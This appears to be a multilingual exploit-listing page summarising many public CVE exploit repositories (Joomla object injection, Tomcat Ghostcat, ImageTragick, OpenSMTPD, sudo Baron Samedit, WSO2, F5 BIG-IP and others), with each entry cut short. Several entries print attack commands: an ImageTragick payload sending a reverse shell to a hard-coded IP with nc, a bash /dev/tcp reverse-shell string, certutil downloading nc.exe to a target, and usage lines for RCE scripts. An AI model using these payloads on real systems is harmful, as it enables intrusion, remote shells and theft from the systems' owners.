CVE-2015-8562

CVE-2015-8562 - 反向 Shell Python 漏洞利用：Joomla 1.5 - 3.4.5 对象注入 RCE X-Forwarded-For 头： root@kitploit: 漏洞日期：2015年12月17日 漏洞利用作者：anarc0der 版本：Joomla 1.5 至 3.4.5 CVE：CVE-2015-8562 使用方法： root@kitploit: 打开一个终端并使用 nc 监听：$ nc -lnvp 4444 打开另一个终端并执行漏洞利用： python3 rce.py --target='目标' --ip='IP' --port=4444 PoC...

test-task-CVE-2024-25600

test-task-CVE-2024-25600 インターンシップのテストタスク用リポジトリです。 ステップ0: このgitリポジトリをクローンする root@kitploit: git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 ステップ1: Dockerコンテナを作成する Dockerデーモンを起動する root@kitploit: sudo systemctl start docker.service Dockerコンテナを起動する...

CVE-2020-1938

cve-2020-1938 1. 读取文件： python3 tomcat.py URL -f /WEB-INF/web.xml 示例： python3 tomcat.py 127.0.0.1 -f /WEB-INF/web.xml -p 8090 2. 执行shell add --rec 1 参考： https://www.t00ls.net/articles-55062.html...

keimpx

はじめに keimpxはオープンソースツールで、Apache License 2.0の下で公開されています。 SMB経由でネットワーク全体の有効な認証情報を迅速に確認するために使用できます。認証情報は以下の形式が可能です： ユーザー名 / プレーンテキストパスワード の組み合わせ。 ユーザー名 / NTLMハッシュ の組み合わせ。 ユーザー名 / NTLMログオンセッショントークン の組み合わせ。 攻撃フェーズ後にネットワーク全体で有効な認証情報が発見された場合、ユーザーは接続先のホストと使用する有効な認証情報を選択するよう求められます。その後、インタラクティブなSMBシェル...

keimpx

Introduction keimpx is an open source tool, released under the Apache License 2.0. It can be used to quickly check for valid credentials across a network over SMB. Credentials can be: Combination of user / plain-text password. Combination of user / NTLM hash. Combination of user / NTLM logon...

Codiad-CVE-2018-14009

安装 codiad @ git clone https://github.com/Codiad/Codiad.git 复现步骤 1. 在 ubuntu 服务器上使用 Codiad 2.8.4（最新版本）搭建一个易受攻击的环境 root@kitploit: @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

CVE-2025-32206

CVE-2025-32206 - WordPress Processing Projects 「LABCAT Processing Projectsにおける危険なタイプのファイルの無制限アップロードの脆弱性により、攻撃者はWebサーバーにWebシェルをアップロードできます。これにより完全な侵害につながる可能性があります。」 🧑‍💻 エクスプロイトの説明 このPythonエクスプロイトスクリプトは、脆弱性のあるProcessing Projects...

put2win

put2win PUT HTTPメソッドを悪用してシェルを取得するためのスクリプトです。 インストール root@kitploit: git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh 使用方法 root@kitploit: Script to automate PUT HTTP method exploitation to get shell. Options: -t TARGET Target URL/IP e.g. 192.168.1.10 -p PORT Target PO...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool 用于 Exiftool 中 CVE-2021-22204 漏洞的 Python 利用程序。 关于漏洞 CVE-2021-22204 由 William Bowling @wcbowling 发现并报告。 此利用程序通过研究 CVE 报告后的 exiftool 补丁制作而成。 前置条件 已安装 exiftool 和 djvulibre 工具。如果你使用 Debian 或 Ubuntu，可以通过以下命令安装： root@kitploit: sudo apt install djvulibre-bin exiftool 如何运行： 修改...

CVE-2019-0232

CGI RCE 漏洞利用 通过 CGI 批处理端点实现未认证 RCE 的 PoC。使用 certutil 将 nc.exe 下载到目标主机，并触发反弹 shell。 设置 1. 托管 nc.exe （在 nc.exe 所在的同一目录下）： root@kitploit: python3 -m http.server 80 2. 启动你的监听器： root@kitploit: nc -lvnp 1234 3. 运行漏洞利用程序： root@kitploit: python3 exploit.py \ --url http://:/cgi/.bat \ --server-ip ...

CVE-2021-26295

CVE-2021-26295 CVE-2021-26295 EXP はシェルをリバース接続できる この記事とツールは技術共有のみを目的としており、違法な目的での使用は固く禁じられています。違反した場合、発生するすべての結果は自己責任となります。 コマンド実行EXPのトリガー 1. VPSでRMIリスナーを起動（ポート9999） root@kitploit: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPSでncリスナーを起動（ポート64444）...

CVE-2020-7247

CVE-2020-7247 この脆弱性は、OpenBSDのメールサーバOpenSMTPDの「smtpmailaddr」関数に存在し、OpenBSDバージョン6.6に影響を与えます。これにより、攻撃者はrootユーザーとして「sleep 66」などの任意のシェルコマンドを実行できます。 使い方 python3 getShell.py リバースシェルが必要な場合は、次のように実行します。 python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要 このエクスプロイト内のRCPT...

CVE-2021-3156

CVE-2021-3156 CVE-2021-3156 的 root shell PoC（无需暴力破解） 仅供教育目的等使用。 已在 Ubuntu 20.04 上针对 sudo 1.8.31 测试通过 所有研究功劳归：Qualys 研究团队 请查看他们博客上的详细信息。 你可以用以下命令检查你的 sudo 版本是否存在漏洞：$ sudoedit -s Y。 如果它要求你输入密码，那么很可能存在漏洞；如果它打印用法信息，则不存在漏洞。 出于测试目的，你可以在 Ubuntu 20.04 上使用 $ sudo apt install sudo=1.8.31-1ubuntu1 降级到存在漏洞的版...

CVE-2022-29464

WSO2 任意ファイルアップロードによるリモートコマンド実行 RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 例 root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2021-21220

首先安装：https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome 版本：90.0.4403.0 安装 chrome-win.zip 1. node server.js 运行 ./chrome.exe --no-sandbox 访问 localhost:8888 请注意，此漏洞利用所依赖的 CVE 是 CVE-2021-21220 此漏洞基于一个托管的网站。其整体思路是：受害者访问该网站，无需任何操作，漏洞利用便通过...

CVE-2020-14882

CVE-2020-14882 による冰蝎メモリシェルの展開 周知の通り、CVE-2020-14882 は認証バイパスの脆弱性であり、攻撃者はこれを利用して影響を受ける WebLogic Server 上で任意のコードを実行できます。 インターネット上で公開されている POC では、不正な文字を使用したアクセスバイパスを行い、Gadget を利用してコマンド実行を呼び出しています。しかし、実際のアプリケーションシナリオやレッドチーム攻撃では、単にコマンドを実行するだけでは不十分です。このため、認証バイパスの脆弱性を利用してメモリシェルを展開する方法が重要になります。...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP iControl REST 漏洞的 Java RCE 利用程序。 功能 扫描单个目标 扫描多个目标 使用 shell 进行漏洞利用 搭建实验环境 你可以在此处找到实验环境：此处 运行 你可以直接通过 user javac main.java 然后 user java main help 运行代码 如果你没有 JVM，你可以执行 user ./main help。GLibc-x8664-linux。 截图 作者 Zeyad Azima Morad A. Mokhtar 自 2022 年 6 月 1 日起...

pterodactyl

Pterodactyl — HackTheBox 演练 平台： HackTheBox | 操作系统： Linux 攻击链 Pterodactyl Panel 暴露在一个子域上。CVE-2025-49132 路径遍历漏洞可在未认证的情况下泄露 Laravel 应用密钥和数据库凭据——破解提取出的哈希值即可获得 SSH 访问权限。权限提升链结合了 CVE-2025-6018（PAM 环境变量投毒以伪造图形化 polkit 会话）与 CVE-2025-6019（XFS 调整大小竞态条件以获取 root 权限的 SUID shell）。 枚举 虚拟主机枚举发现了一个 Pterodactyl...

tippa-my-tongue

Tippa My Tongue Tippa My Tongue es un exploit que utiliza CVE-2022-1388 y CVE-2022-41800 para establecer un shell inverso root en productos F5 BIG-IP. La mayoría de los exploits para CVE-2022-1388 logran la ejecución de código usando /mgmt/tm/util/bash. Sin embargo, este exploit usa...